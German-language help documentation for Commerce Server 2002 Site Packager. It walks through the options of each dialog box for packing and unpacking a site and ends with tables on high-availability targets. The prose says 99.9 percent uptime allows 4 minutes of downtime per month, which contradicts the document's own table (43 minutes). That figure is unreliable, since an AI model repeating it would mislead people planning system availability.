  • Dialogfeld "Wählen Sie die IIS-Computer, -Websites und -Pfade aus"
  • Dialogfeld für die Master-Datenbank
  • Dialogfeld "Neue Datenbank"
  • Dialogfeld "Eigenschaften von Data Warehouse"
  • Dialogfeld "Profilsystem"
  • Profilsystem: Dialogfeld "Active Directory-Datenquelle"
  • Profilsystem: Dialogfeld "OLEDB-Datenquelle"
  • Unpacking Is Complete! Dialogfeld "Packen"
  • Dialogfeld "Site auswählen"


Dialogfeld "Willkommen"

Die folgende Tabelle enthält die im Dialogfeld Willkommen verfügbaren Optionen und Funktionen. Das Dialogfeld wird angezeigt, wenn Sie mit Commerce Server Site Packager arbeiten.

Funktion | Aktion
Aus Paketdatei entpacken | Wählen Sie diese Option aus, um eine Commerce Server-Anwendung auf einem Webserver zu entpacken. Weitere Informationen finden Sie unter Entpacken einer Site.
Vorhandene Site packen | Wählen Sie diese Option aus, um das Paket mit einer Commerce Server-Anwendung zu erstellen, die auf einen anderen Webserver verschoben werden kann. Weitere Informationen finden Sie unter Packen einer Site.

Siehe auch

Installation auf einer Clusterkonfiguration mit vier Computern

Gepackte IIS-Eigenschaften

So werden globale Ressourcen entpackt

So werden Datenbank- und Anwendungsnamen erstellt

So werden Webserverberechtigungen eingestellt

Einschränkungen für Namen und Dateigröße in Site Packager

Empfehlungen für Site Packager


Dialogfeld "Site packen"

Wenn Sie eine Site mit Commerce Server Site Packager packen, wird das Dialogfeld Site packen angezeigt, in dem Sie die zu packende Site und den Namen der Paketdatei festlegen können.

Die folgende Tabelle enthält die im Dialogfeld Packen verfügbaren Optionen und Funktionen.

Funktion | Aktion
Zu packende Site | Eingeben des Namens der Commerce Server-Site, die Sie packen möchten.
Zu erstellende Paketdatei | Eingeben eines Namens für die zu erstellende Paketdatei.

Siehe auch

Packen einer Site

Gepackte IIS-Eigenschaften

So werden globale Ressourcen entpackt

So werden Datenbank- und Anwendungsnamen erstellt

So werden Webserverberechtigungen eingestellt

Einschränkungen für Namen und Dateigröße in Site Packager

Empfehlungen für Site Packager


Dialogfeld "Entpacken"

Wenn Sie eine Site mit Commerce Server Site Packager entpacken, wird dieses Dialogfeld angezeigt, in dem Sie die zu entpackende Datei und den gewünschten Entpackungstyp festlegen können.

Die folgende Tabelle enthält die im Dialogfeld Entpacken verfügbaren Optionen und Funktionen.

Funktion | Aktion
Zu entpackende Datei | Auswählen des Namens der zu entpackenden Paketdatei.
Schnelles Entpacken | Festlegen, dass alle Anwendungen dieser Site auf einem lokalen Computer sowie alle Datenbanken auf einem einzelnen lokalen oder Remotecomputer schnell installiert werden sollen.
Benutzerdefiniertes Entpacken | Festlegen, dass Site Packager Sie zur Auswahl aller Einstellungen zum Entpacken Ihrer Site auffordern soll. Sie können festlegen, welche Anwendungen installiert werden sollen und wie die Datenbanken zu konfigurieren sind.

Siehe auch

Entpacken einer Site

Packen einer Site

Installation auf einer Clusterkonfiguration mit vier Computern

Gepackte IIS-Eigenschaften

So werden globale Ressourcen entpackt

So werden Datenbank- und Anwendungsnamen erstellt

So werden Webserverberechtigungen eingestellt

Einschränkungen für Namen und Dateigröße in Site Packager

Empfehlungen für Site Packager


Dialogfeld "Schnelles Entpacken"

Wenn Sie eine Site mit Commerce Server Site Packager entpacken, wird dieses Dialogfeld angezeigt, wenn Sie zuvor im Dialogfeld Entpacken die Option Schnelles Entpacken ausgewählt haben.

Die folgende Tabelle enthält die im Dialogfeld Schnelles Entpacken verfügbaren Optionen und Funktionen. Das Dialogfeld wird angezeigt, wenn Sie mit Commerce Server Site Packager arbeiten.

Funktion | Aktion
Sitename Eingeben des Namens, den die Site erhalten soll.

Hinweise

  • Die Namen der virtuellen Verzeichnisse für die Anwendungen in Ihrer Site entsprechen den Anwendungsnamen, die Sie beim Packen der Site verwendet haben.
IIS-Website | Auswählen des Namens der Internetinformationsdienste (IIS)-Website, in der sich Ihre Site befinden wird. Diese Website muss bereits vorhanden sein. Zur Erstellung einer neuen IIS-Website kann das IIS-Snap-In verwendet werden.
SQL Server-Computer | Eingeben des Namens des SQL Server-Computers, auf dem sich die Sitedatenbanken befinden.
Integrierte Sicherheit von Windows verwenden Diese Option wählen, wenn Sie die integrierte Windows-Authentifizierung verwenden möchten.

Dies ist die empfohlene Konfiguration.

Wenn Sie die integrierte Sicherheit von Windows verwenden, werden Benutzernamen und Kennwörter nicht in SQL Server-Verbindungszeichenfolgen gespeichert. Das Rücksetzen des SQL-Kennworts hat keine Auswirkung auf die Benutzernamen und Kennwörter. Weitere Informationen zur Sicherheit in Commerce Server finden Sie unter Sichern der Site.
Spezifischen Benutzernamen und spezifisches Kennwort verwenden | Wählen Sie diese Option, wenn Sie für Verbindungen mit der Datenbank die SQL Server-Authentifizierung verwenden möchten.
SQL-Benutzername Eingeben des Benutzernamens der Person, die über die Anmeldeprivilegien für den SQL Server-Computer verfügt. Der Anmeldename muss zu einer der folgenden SQL Server-Rollen gehören: sysadmin oder dbcreator. Um OLAP-Fehler zu vermeiden, dürfen folgende Zeichen nicht verwendet werden:

/, ?, &, \, <, >, :, |, #, @, % und '
SQL-Kennwort Eingeben des Kennworts desjenigen Benutzers, der über die Anmeldeprivilegien für den SQL Server-Computer verfügt. Um OLAP-Fehler zu vermeiden, dürfen folgende Zeichen nicht verwendet werden:

/, ?, &, \, <, >, :, |, #, @, % und '

Siehe auch

Entpacken einer Site

Packen einer Site

Installation auf einer Clusterkonfiguration mit vier Computern

Gepackte IIS-Eigenschaften

So werden globale Ressourcen entpackt

So werden Datenbank- und Anwendungsnamen erstellt

So werden Webserverberechtigungen eingestellt

Einschränkungen für Namen und Dateigröße in Site Packager

Empfehlungen für Site Packager


Dialogfeld "Entpackmethode"

Die folgende Tabelle enthält die im Dialogfeld Entpackmethode verfügbaren Optionen und Funktionen. Das Dialogfeld wird angezeigt, wenn Sie mit Commerce Server Site Packager arbeiten.

Funktion | Aktion
Neue Site erstellen | Auswählen dieser Option, um eine neue Commerce-Site zu erstellen.
Einer vorhandenen Site Ressourcen des Pakets hinzufügen | Auswählen dieser Option, um Ressourcen zu einer vorhandenen Commerce Server-Site hinzuzufügen.
Einer vorhandenen Site eine Anwendung des Pakets hinzufügen Auswählen dieser Option, um eine Anwendung, wie z. B. Business Desk, zu einer vorhandenen Site hinzuzufügen.

Hinweise

  • Wenn Sie mehrere Instanzen der Business Desk-Anwendung in einer vorhandenen Site mit einem anderen IIS-Anwendungsnamen installieren möchten, müssen Sie möglicherweise die HTML-Anwendungsdateien (HTA) umbenennen und vor der Installation neue Verknüpfungssymbole für Business Desk erstellen. Wenn Sie die Dateien nicht umbenennen, ersetzen die HTA-Dateien die auf der ursprünglichen Site basierenden Dateien sowie die Business Desk-Symbole.
Einer vorhandenen Anwendung in einer vorhandenen Site einen Webserver hinzufügen | Auswählen dieser Option, um Anwendungen auf einem Webserver zu installieren, der auf einem anderen Server verwaltet wird. Diese Option fügt Ihrer Site einen neuen Webserver hinzu. Die Verwaltungstools von Commerce Server werden jedoch nicht auf dem neuen Webserver mitinstalliert.

Siehe auch

Entpacken einer Site

Packen einer Site

Installation auf einer Clusterkonfiguration mit vier Computern

Gepackte IIS-Eigenschaften

So werden globale Ressourcen entpackt

So werden Datenbank- und Anwendungsnamen erstellt

So werden Webserverberechtigungen eingestellt

Einschränkungen für Namen und Dateigröße in Site Packager

Empfehlungen für Site Packager


Dialogfeld "Sitename"

Die folgende Tabelle enthält die im Dialogfeld Sitename verfügbaren Optionen und Funktionen. Das Dialogfeld wird angezeigt, wenn Sie mit Commerce Server Site Packager arbeiten.

Funktion | Aktion
Sitename | Eingeben des Namens der zu erstellenden Site.
Vorhandene Sites | Anzeigen einer Liste der vorhandenen Sites. Beim Erstellen einer neuen Site kann kein Name aus dieser Liste gewählt werden.

Hinweise

  • Verwenden Sie beim Eingeben des Sitenamens keine Sonderzeichen (/, ?, &, \, <, >, :, |, #, @, % und ') und Tastenkombinationen (wie ALT+Zahl), um Fehler beim Entpacken zu vermeiden. Der Sitename wird an Ihre Datenbanknamen angehängt, jedoch können diese Namen durch Sonderzeichen oder Tastenkombinationen beschädigt werden.
  • Geben Sie keine Sitenamen mit mehr als 127 Single-Byte-Zeichen oder Double-Byte-Zeichen an.
  • Nennen Sie die Site nicht "Commerce". Dies ist ein für die OLAP-Datenbank reservierter Name. Wenn Sie Ihre Site Commerce nennen, kann dies beim nächsten Entpacken einer Site zum Verlust Ihrer OLAP-Datenbank führen.

Siehe auch

Entpacken einer Site

Packen einer Site

Installation auf einer Clusterkonfiguration mit vier Computern

Gepackte IIS-Eigenschaften

So werden globale Ressourcen entpackt

So werden Datenbank- und Anwendungsnamen erstellt

So werden Webserverberechtigungen eingestellt

Einschränkungen für Namen und Dateigröße in Site Packager

Empfehlungen für Site Packager


Dialogfeld "Ressourcen auswählen"

Die folgende Tabelle enthält die im Dialogfeld Ressourcen auswählen verfügbaren Optionen und Funktionen. Das Dialogfeld wird angezeigt, wenn Sie mit Commerce Server Site Packager arbeiten.

Funktion | Aktion
Zu entpackende Ressourcen | Festlegen, welche Ressourcen entpackt werden sollen. Wenn sich die Ressource in dieser Liste befindet, werden ihre Einstellungen und ihr Schema entpackt.
Hinzufügen | Verschieben der in der Liste Verfügbare Ressourcen ausgewählten Elemente in die Liste Zu entpackende Ressourcen.
Alle hinzufügen | Verschieben aller in der Liste Verfügbare Ressourcen ausgewählten Elemente in die Liste Zu entpackende Ressourcen.
Entfernen | Verschieben der in der Liste Zu entpackende Ressourcen ausgewählten Elemente in die Liste Verfügbare Ressourcen.
Alle entfernen | Verschieben aller in der Liste Zu entpackende Ressourcen ausgewählten Elemente in die Liste Verfügbare Ressourcen.

Hinweise

  • Die Ressourcen Site-CS-Authentifizierung und Profile müssen gemeinsam installiert werden. Sie sind nur funktionsfähig, wenn beide installiert sind.

Siehe auch

Entpacken einer Site

Packen einer Site

Installation auf einer Clusterkonfiguration mit vier Computern

Gepackte IIS-Eigenschaften

So werden globale Ressourcen entpackt

So werden Datenbank- und Anwendungsnamen erstellt

So werden Webserverberechtigungen eingestellt

Einschränkungen für Namen und Dateigröße in Site Packager

Empfehlungen für Site Packager


Dialogfeld "Globale Ressourcenzeiger"

Die folgende Tabelle enthält die im Dialogfeld Globale Ressourcenzeiger verfügbaren Optionen und Funktionen. Das Dialogfeld wird angezeigt, wenn Sie mit Commerce Server Site Packager arbeiten.

Funktion | Aktion
Globale Ressourcenzeiger | Auswählen des globalen, zu konfigurierenden Ressourcenzeigers. Die Spalte Zuordnungen zu globaler Ressource zeigt an, ob lokal eine neue globale Ressource erstellt wird bzw. wo sich die globale Ressource befindet.
Vorhandene globale Ressourcen | Auswählen des Speicherorts der globalen Ressource, die dieser Computer verwenden soll. In der Liste werden die globalen Ressourcen angezeigt, die bei der Installation von Commerce Server erstellt wurden.

Siehe auch

Entpacken einer Site

Packen einer Site

Installation auf einer Clusterkonfiguration mit vier Computern

Gepackte IIS-Eigenschaften

So werden globale Ressourcen entpackt

So werden Datenbank- und Anwendungsnamen erstellt

So werden Webserverberechtigungen eingestellt

Einschränkungen für Namen und Dateigröße in Site Packager

Empfehlungen für Site Packager


Dialogfeld "Datenbank-Verbindungszeichenfolgen"

Die folgende Tabelle enthält die im Dialogfeld Datenbank-Verbindungszeichenfolgen verfügbaren Optionen und Funktionen. Das Dialogfeld wird angezeigt, wenn Sie mit Commerce Server Site Packager arbeiten.

Funktion | Aktion
Ressource | Auswählen der Ressource, für die eine Aktion durchgeführt werden soll, z. B. das Ändern eines Datenbankservers.
Ändern | Festlegen eines anderen Servers oder einer anderen Datenbank für die Ressource.
Standardeinstellungen | Zurücksetzen der Verbindungszeichenfolgen auf die Standardeinstellungen, die aus zwei lokal gespeicherten Datenbanken bestehen (eine für Data Warehouse und eine zweite für die anderen Ressourcen).
Kopieren Kopieren der Datenbank-Verbindungszeichenfolge für die ausgewählte Ressource in die Zwischenablage.

Hinweise

  • Wenn Sie eine Datenbank-Verbindungszeichenfolge kopieren möchten, wählen Sie die Zeile mit der zu kopierenden Verbindungszeichenfolge aus, und klicken Sie anschließend auf Ändern. Wählen Sie im Dialogfeld Datenverknüpfungseigenschaften entweder den zu kopierenden Datenbanknamen und Servernamen aus oder geben Sie diese Namen ein, und klicken Sie anschließend auf OK. Wählen Sie im Dialogfeld Datenbank-Verbindungszeichenfolgen die Zeile mit der zu kopierenden Verbindungszeichenfolge aus, und klicken Sie anschließend auf Kopieren.
Einfügen Einfügen der Ressourcen aus der Zwischenablage.

Hinweise

  • Wenn Sie eine Datenbank-Verbindungszeichenfolge aus der Zwischenablage einfügen möchten, wählen Sie die Zeile aus, in die Sie die Verbindungszeichenfolge kopieren möchten, und klicken Sie anschließend auf Einfügen.
Neue Datenbank | Erstellen einer neuen Datenbank für die ausgewählte(n) Ressource(n). Verwenden Sie diesen Befehl, wenn Sie die Datenbank auf einen anderen Computer verlegen möchten.

Siehe auch

Entpacken einer Site

Packen einer Site

Installation auf einer Clusterkonfiguration mit vier Computern

Gepackte IIS-Eigenschaften

So werden globale Ressourcen entpackt

So werden Datenbank- und Anwendungsnamen erstellt

So werden Webserverberechtigungen eingestellt

Einschränkungen für Namen und Dateigröße in Site Packager

Empfehlungen für Site Packager


Dialogfeld "Anwendungen auswählen"

Die folgende Tabelle enthält die im Dialogfeld Anwendungen auswählen verfügbaren Optionen und Funktionen.

Funktion | Aktion
Anwendungen im Paket | Festlegen, welche Anwendungen entpackt werden sollen. Deaktivieren Sie die Kontrollkästchen der Anwendungen, die Sie nicht installieren möchten.

Siehe auch

Entpacken einer Site

Packen einer Site

Installation auf einer Clusterkonfiguration mit vier Computern

Gepackte IIS-Eigenschaften

So werden globale Ressourcen entpackt

So werden Datenbank- und Anwendungsnamen erstellt

So werden Webserverberechtigungen eingestellt

Einschränkungen für Namen und Dateigröße in Site Packager

Empfehlungen für Site Packager


Dialogfeld "Wählen Sie die IIS-Computer, -Websites und -Pfade aus"

Die folgende Tabelle enthält die im Dialogfeld Wählen Sie die IIS-Computer, -Websites und -Pfade aus verfügbaren Optionen und Funktionen. Das Dialogfeld wird angezeigt, wenn Sie eine Site mit Commerce Server Site Packager entpacken.

Funktion | Aktion
Anwendung | Auswählen der Anwendung, für die eine Aktion durchgeführt werden soll.
IIS-Computername | Geben Sie den Computernamen des IIS-Webservers ein, auf dem Sie die Anwendungsdateien entpacken möchten. Klicken Sie zum Aktualisieren der Liste der Websites auf dem Remotecomputer auf Aktualisieren.
IIS-Website | Auswählen einer vorhandenen IIS-Website, des Speicherortes Ihrer Site auf dem Server.
Websites aktualisieren | Auswählen dieser Option, um die Liste der verfügbaren IIS-Websites zu aktualisieren. Wählen Sie diese Option, um eine neue IIS-Website zu erstellen, während dieses Dialogfeld angezeigt wird.
IIS-Pfad | Festlegen des Namens des IIS-Pfades Ihrer Site. Dieser Name wird im URL-Pfad der Site angezeigt.

Hinweise

  • Site Packager platziert Ihre Anwendungen in verschiedenen Unterordnern innerhalb der von Ihnen angegebenen IIS-Website sowie in den physischen Ordnern, auf die die IIS-Website verweist. Diese Unterordner werden mit dem Namen des virtuellen Verzeichnisses versehen, den Sie für jede Anwendung angeben. Standardmäßig sind diese virtuellen Verzeichnisnamen dieselben wie die Anwendungsnamen.

Siehe auch

Entpacken einer Site

Packen einer Site

Installation auf einer Clusterkonfiguration mit vier Computern

Gepackte IIS-Eigenschaften

So werden globale Ressourcen entpackt

So werden Datenbank- und Anwendungsnamen erstellt

So werden Webserverberechtigungen eingestellt

Einschränkungen für Namen und Dateigröße in Site Packager

Empfehlungen für Site Packager


Dialogfeld für die Master-Datenbank

Die folgende Tabelle enthält die im Dialogfeld für die Master-Datenbank verfügbaren Optionen und Funktionen. Das Dialogfeld wird angezeigt, wenn Sie eine Site mit Commerce Server Site Packager entpacken.

Funktion | Aktion
SQL-Benutzername | Festlegen des Benutzernamens der Person, die über die Anmeldeprivilegien für den SQL Server-Computer verfügt. Beim Erstellen einer neuen Datenbank muss ein Anmeldename verwendet werden, der zu einer der folgenden SQL Server-Rollen gehört: sysadmin oder dbcreator. Um OLAP-Fehler zu vermeiden, dürfen folgende Zeichen nicht verwendet werden: /, ?, &, \, <, >, :, |, #, @, % und '
SQL-Kennwort | Festlegen des Kennworts desjenigen Benutzers, der über die Anmeldeprivilegien für den SQL Server-Computer verfügt. Um OLAP-Fehler zu vermeiden, dürfen folgende Zeichen nicht verwendet werden: /, ?, &, \, <, >, :, |, #, @, % und '
Verbindung testen | Testen der Verbindung von diesem Computer zu dem Datenbankserver, der oben im Dialogfeld angegeben ist.

Siehe auch

Entpacken einer Site

Packen einer Site

Installation auf einer Clusterkonfiguration mit vier Computern

Gepackte IIS-Eigenschaften

So werden globale Ressourcen entpackt

So werden Datenbank- und Anwendungsnamen erstellt

So werden Webserverberechtigungen eingestellt

Einschränkungen für Namen und Dateigröße in Site Packager

Empfehlungen für Site Packager


Dialogfeld "Neue Datenbank"

Die folgende Tabelle enthält die im Dialogfeld Neue Datenbank verfügbaren Optionen und Funktionen. Das Dialogfeld wird angezeigt, wenn Sie eine Site mit Commerce Server Site Packager entpacken.

Funktion | Aktion
SQL Server-Computer | Geben Sie den Namen des SQL Server-Clusters ein.
Datenbankname | Geben Sie den Namen der Data Warehouse-Datenbank ein.
SQL-Benutzername | Beim Erstellen einer neuen Datenbank muss ein Anmeldename verwendet werden, der zu einer der folgenden SQL Server-Rollen gehört: sysadmin oder dbcreator. Um OLAP-Fehler zu vermeiden, dürfen folgende Zeichen nicht verwendet werden: /, ?, &, \, <, >, :, |, #, @, % und '
SQL-Kennwort | Geben Sie das Kennwort für die SQL Server-Anmeldung ein. Um OLAP-Fehler zu vermeiden, dürfen folgende Zeichen nicht verwendet werden: /, ?, &, \, <, >, :, |, #, @, % und '
Datenbank erstellen | Klicken Sie hierauf, um die neue Datenbank auf dem angegebenen Server zu erstellen.

Siehe auch

Entpacken einer Site

Packen einer Site

Installation auf einer Clusterkonfiguration mit vier Computern

Gepackte IIS-Eigenschaften

So werden globale Ressourcen entpackt

So werden Datenbank- und Anwendungsnamen erstellt

So werden Webserverberechtigungen eingestellt

Einschränkungen für Namen und Dateigröße in Site Packager

Empfehlungen für Site Packager


Dialogfeld "Eigenschaften von Data Warehouse"

Die folgende Tabelle enthält die im Dialogfeld Eigenschaften von Data Warehouse verfügbaren Optionen und Funktionen. Das Dialogfeld wird angezeigt, wenn Sie eine Site mit Commerce Server Site Packager entpacken.

Funktion | Aktion
Name | Eingeben des Namens für die globale Data Warehouse-Ressource.
Server | Eingeben des Namens des SQL Analysis (OLAP)-Computers.
Datenbank | Eingeben des Namens der SQL Analysis (OLAP)-Datenbank.
Verbindung testen | Testen der Verbindung zwischen diesem Computer und dem Server, auf dem sich Data Warehouse befindet.
Ressource überspringen | Überspringen der Konfiguration des lokalen Zeigers auf eine globale Data Warehouse-Ressource.

Siehe auch

Data Warehouse-Konfiguration

Entpacken einer Site

Installation auf einer Clusterkonfiguration mit vier Computern

Gepackte IIS-Eigenschaften

So werden globale Ressourcen entpackt

So werden Datenbank- und Anwendungsnamen erstellt

So werden Webserverberechtigungen eingestellt

Einschränkungen für Namen und Dateigröße in Site Packager

Empfehlungen für Site Packager


Dialogfeld "Profilsystem"

Dies ist das erste der beiden Dialogfelder Profilsystem, das beim Entpacken einer Site angezeigt wird. Wenn Sie eine Lösungssite entpacken, klicken Sie auf Weiter, um die Standardeinträge zu übernehmen.

Wenn Sie eigene Profileinstellungen festlegen möchten, gehen Sie folgendermaßen vor:

Funktion | Aktion
Profilschemadefinition (*.xml) | Beim Packen der Site extrahiert Site Packager das Profilschema aus Ihrer Profildatenbank und speichert es in einer XML-Datei. Geben Sie die XML-Datei hier an, damit sie entpackt wird. Wenn Sie eine Lösungssite entpacken, übernehmen Sie die standardmäßig vorgeschlagene XML-Datei ProfileDefinition. Die Datei enthält folgende Profildefinitionen: Adressen, Pauschalbestellungen, Organisation, Benutzerobjekt und Zielgruppenadressierungs-Kontext.
Sitebegriffsdefinition (*.xml) | Beim Packen der Site extrahiert Site Packager die Sitebegriffsdefinition aus der Datenbank und speichert sie in einer XML-Datei. Geben Sie die XML-Datei hier an, damit sie entpackt wird. Wenn Sie eine Lösungssite entpacken, übernehmen Sie die standardmäßig vorgeschlagene XML-Datei SiteTerms. Die Datei enthält die verfügbaren vordefinierten Sitebegriffe.
Ausdrucksdefinition (*.xml) | Beim Packen der Site extrahiert Site Packager die von Ihnen mithilfe von Business Desk festgelegten Ausdruckdefinitionen und speichert sie in einer XML-Datei. Geben Sie die XML-Datei hier an, damit sie entpackt wird. Wenn Sie eine Lösungssite entpacken, wird eine Standard-XML-Datei mit der Bezeichnung ExpressionDefinition bereitgestellt. Die Datei enthält keine vordefinierten Ausdrücke für die Lösungssite.

Siehe auch

Entpacken einer Site

Packen einer Site

Packen von erweiterten Profilschemas

Installation auf einer Clusterkonfiguration mit vier Computern

Gepackte IIS-Eigenschaften

So werden globale Ressourcen entpackt

So werden Datenbank- und Anwendungsnamen erstellt

So werden Webserverberechtigungen eingestellt

Einschränkungen für Namen und Dateigröße in Site Packager

Empfehlungen für Site Packager


Profilsystem: Dialogfeld "Active Directory-Datenquelle"

Hierbei handelt es sich um das zweite der beiden Dialogfelder, die angezeigt werden, wenn Sie die SupplierAD-Lösungssite mit Commerce Server Site Packager entpacken. Dieses Dialogfeld wird nur angezeigt, wenn Sie die SupplierAD-Lösungssite entpacken.

Die folgende Tabelle enthält die im Dialogfeld Profilsystem: Active Directory-Datenquelle verfügbaren Optionen und Funktionen.

Funktion | Aktion
Domäne | Eingeben der Windows-Domäne, die Ihre Site enthält.
Benutzername | Eingeben eines gültigen Benutzernamens für die Windows-Domäne. Der Benutzername muss in einem der folgenden Formate angegeben werden: Domäne\Benutzername Benutzername@Domäne
Kennwort | Eingeben des Domänenkennwortes für den angegebenen Benutzer.
Übergeordneter URL | Eingeben des Speicherortes für die Daten in den Verzeichnispfad.
Einfache Bindung verwenden | Auswählen dieser Option, um das Kennwort in Klartext zu senden. Diese Option ist nicht sehr sicher, wird jedoch von einigen Verzeichnisdiensten gefordert.
Ausführbares Skript | Ausführen von Visual Basic-Skripts zur Erstellung von Objekten in der Verzeichnisstruktur der Site.
Verbindung testen | Testen der Gültigkeit der Verbindung zum Domänencontroller.

Siehe auch

Entpacken einer Site

Packen einer Site

Packen von erweiterten Profilschemas

Installation auf einer Clusterkonfiguration mit vier Computern

Gepackte IIS-Eigenschaften

So werden globale Ressourcen entpackt

So werden Datenbank- und Anwendungsnamen erstellt

So werden Webserverberechtigungen eingestellt

Einschränkungen für Namen und Dateigröße in Site Packager

Empfehlungen für Site Packager


Profilsystem: Dialogfeld "OLEDB-Datenquelle"

Dies ist das zweite der beiden Dialogfelder Profilsystem, die angezeigt werden, wenn Sie eine Site mit Commerce Server Site Packager entpacken. Dieses Dialogfeld wird nicht angezeigt, wenn Sie die SupplierActiveDirectory-Lösungssite entpacken.

Die folgende Tabelle enthält die im Dialogfeld Profilsystem: OLEDB-Datenquelle verfügbaren Optionen und Funktionen. Wenn Sie eine Lösungssite entpacken, klicken Sie auf Weiter, um die Standardeinträge zu übernehmen.

Funktion | Aktion
Ändern | Übernehmen Sie die standardmäßig vorgeschlagene Verbindungszeichenfolge für die Profildatenbank, oder klicken Sie auf Ändern, um eine neue Verbindungszeichenfolge zu konfigurieren.
Schemadefinitionsskripts Beim Packen der Profildefinitionen können Sie SQL Server Enterprise Manager zum Exportieren der Definitionen (Schema) aus der SQL-Datenbank in eine SQL-Datei verwenden und den Namen dieser Datei hier angeben.

Beim Entpacken der Site geben Sie diese Datei an, sodass die Definitionen in den Laufzeitdatenspeichern entpackt werden (SQL-Tabellen zum Speichern von Benutzerdaten wie Adresse, Unternehmen usw.).

Weitere Informationen finden Sie unter Packen von erweiterten Profilschemas.
Datenauffüllungsskripts Wenn Sie die Profildaten aus einer Profildatenbank extrahiert haben, können Sie Datenauffüllungsskripts festlegen, damit Ihre Daten beim Entpacken in Laufzeitdatenspeicher (SQL-Tabellen zum Speichern von Benutzerdaten wie Adresse, Unternehmen usw.) importiert werden.

Ein Beispielskript mit Daten für zwei Benutzer finden Sie in der Datei PopulateProfileSQL.sql unter \Programme\Microsoft Commerce Server 2002.

Weitere Informationen zur Verwendung von Skripts finden Sie unter Verwenden von Skripts mit Site Packager.

Siehe auch

Entpacken einer Site

Packen einer Site

Packen von erweiterten Profilschemas

Installation auf einer Clusterkonfiguration mit vier Computern

Gepackte IIS-Eigenschaften

So werden globale Ressourcen entpackt

So werden Datenbank- und Anwendungsnamen erstellt

So werden Webserverberechtigungen eingestellt

Einschränkungen für Namen und Dateigröße in Site Packager

Empfehlungen für Site Packager


Unpacking Is Complete! Dialogfeld "Packen"

Die folgende Tabelle enthält die im Dialogfeld Das Entpacken ist abgeschlossen verfügbaren Optionen und Funktionen.

Funktion | Aktion
Ausgewählte Anwendung anzeigen | Ausführen der im Feld Beim Entpacken erstellte IIS-Anwendungen ausgewählten Anwendung.
Protokolldatei anzeigen | Öffnen der Protokolldatei von Site Packager, welche alle während der Ausführung von Site Packager auftretenden Ereignisse anführt. Diese Informationen sind nützlich, wenn Fehler aufgetreten sind.
Fertig stellen | Schließen von Site Packager.


Dialogfeld "Site auswählen"

Die folgende Tabelle enthält die im Dialogfeld Site auswählen verfügbaren Optionen und Funktionen. Das Dialogfeld wird angezeigt, wenn Sie mit Commerce Server Site Packager arbeiten.

Funktion | Aktion
Vorhandene Sites | Eingeben des Namens der Site, die Sie ändern möchten.

Siehe auch

Entpacken einer Site

Gepackte IIS-Eigenschaften


Dialogfeld "Profilsystem"

Dieses Profilsystem-Dialogfeld wird angezeigt, wenn Sie eine Site mit Commerce Server Site Packager packen.

Die folgende Tabelle enthält die im Dialogfeld Profilsystem verfügbaren Optionen und Funktionen.

Funktion Aktion
Schemadefinitionsskripts (*.sql, *.vbs) Beim Packen der Profildefinitionen können Sie SQL Server Enterprise Manager zum Exportieren der Definitionen (Schema) aus der SQL-Datenbank in eine SQL-Datei verwenden und den Namen dieser Datei hier angeben.

Beim Entpacken der Site geben Sie diese Datei an, sodass die Definitionen in die Profildateien der Laufzeitdatenspeicher (SQL-Tabellen zum Speichern von Benutzerdaten wie Adresse, Unternehmen usw.) entpackt werden.

Weitere Informationen finden Sie unter Packen von erweiterten Profilschemas.
Datenauffüllungsskripts (*.sql) Um die in der Profildatenbank gespeicherten Profildaten zu packen, exportieren Sie die Profildaten mit Enterprise Manager aus der SQL-Datenbank in eine SQL-Datei und geben danach den Namen dieser Datei hier an.

Beim Entpacken der Site geben Sie diese SQL-Datei an, um Ihre Profiltabellen in den Laufzeitdatenspeichern (SQL-Tabellen zum Speichern von Benutzerdaten wie Adresse, Unternehmen usw.) aufzufüllen.

Ein Beispielskript mit Daten für zwei Benutzer finden Sie in der Datei PopulateProfileSQL.sql unter \Programme\Microsoft Commerce Server 2002.

Weitere Informationen zur Verwendung von Skripts finden Sie unter Verwenden von Skripts mit Site Packager.

Siehe auch

Packen einer Site

Packen von erweiterten Profilschemas

Gepackte IIS-Eigenschaften


Gewährleisten einer hohen Verfügbarkeit

Eine Site mit hoher Verfügbarkeit bietet Ausfallsicherheit bei ggf. auftretenden Fehlern der zugrunde liegenden Plattform und einzelnen Schwachstellen. Die Verfügbarkeit umfasst Zuverlässigkeit, Wiederherstellung und Ausfall. Ein üblicher Maßstab für die Verfügbarkeit ist die Zeitdauer in Prozent, während der ein bestimmtes System aktiv ist und arbeitet. Die folgende Tabelle stellt die prozentuale Verfügbarkeit den entsprechenden Kalenderzeiten gegenüber.

Akzeptable Betriebszeit (%) | Ausfallzeiten pro Tag | Ausfallzeiten pro Monat | Ausfallzeiten pro Jahr
95 | 72,00 Minuten | 36 Stunden | 18,26 Tage
99 | 14,40 Minuten | 7 Stunden | 3,65 Tage
99,9 | 86,40 Sekunden | 43 Minuten | 8,77 Stunden
99,99 | 8,64 Sekunden | 4 Minuten | 52,60 Minuten
99,999 | 0,86 Sekunden | 26 Sekunden | 5,26 Minuten

In dieser Tabelle wird deutlich, dass ein System mit einer annehmbaren Betriebszeit von 99,9 Prozent nur 86,4 Sekunden pro Tag oder 4 Minuten pro Monat außer Betrieb sein darf. Die Tabelle soll den Entscheidungsträgern bei der Planung ihrer Lösungen behilflich sein.

Wenn die Verfügbarkeit erhöht werden soll, müssen Systembereitstellung, Software und Verwaltung sehr genau aufeinander abgestimmt sein. Da äußerst schwer vorauszusagen ist, wann oder wie oft ein System ausfällt, kann die Zuverlässigkeit durch Verkürzung der benötigten Zeit für die Wiederherstellung gesteigert werden. Wenn Ihr System innerhalb von 86,4 Sekunden wiederhergestellt werden kann, wird trotz eines möglichen Ausfalls pro Tag eine Verfügbarkeit von 99,9 % erreicht.

Im Gegensatz zum eben beschriebenen Konzept der Verfügbarkeit auf der Basis von Betriebszeiten kann die Verfügbarkeit auch auf der Basis erfolgreich abgeschlossener Transaktionen definiert werden. Wenn die Website 100.000 Anforderungen bearbeitet, impliziert eine Verfügbarkeit von 99,9 % 100 fehlgeschlagene Anforderungen. Wenn dieses Konzept als Messmethode für die Verfügbarkeit verwendet wird, können die Anforderungen an die Verfügbarkeit bei der Planung unterschiedlich ausfallen. Außerdem muss bei dieser Lösung das unterschiedliche Aufkommen von Datenanforderungen berücksichtigt werden.

In der folgenden Tabelle sind typische Größen für die Verfügbarkeit aufgelistet. Verwenden Sie diese Tabelle, um den für Ihre Site benötigten Verfügbarkeitsgrad zu ermitteln.

Verfügbarkeitsgrad | Verfügbarkeitsziel | Ausfallzeiten pro Jahr
Wirtschaftlich | 99,5 % | 43,8 Stunden
Hohe Verfügbarkeit | 99,9 % | 8,8 Stunden
Fehlerresistent | 99, 99 % | 53 Minuten
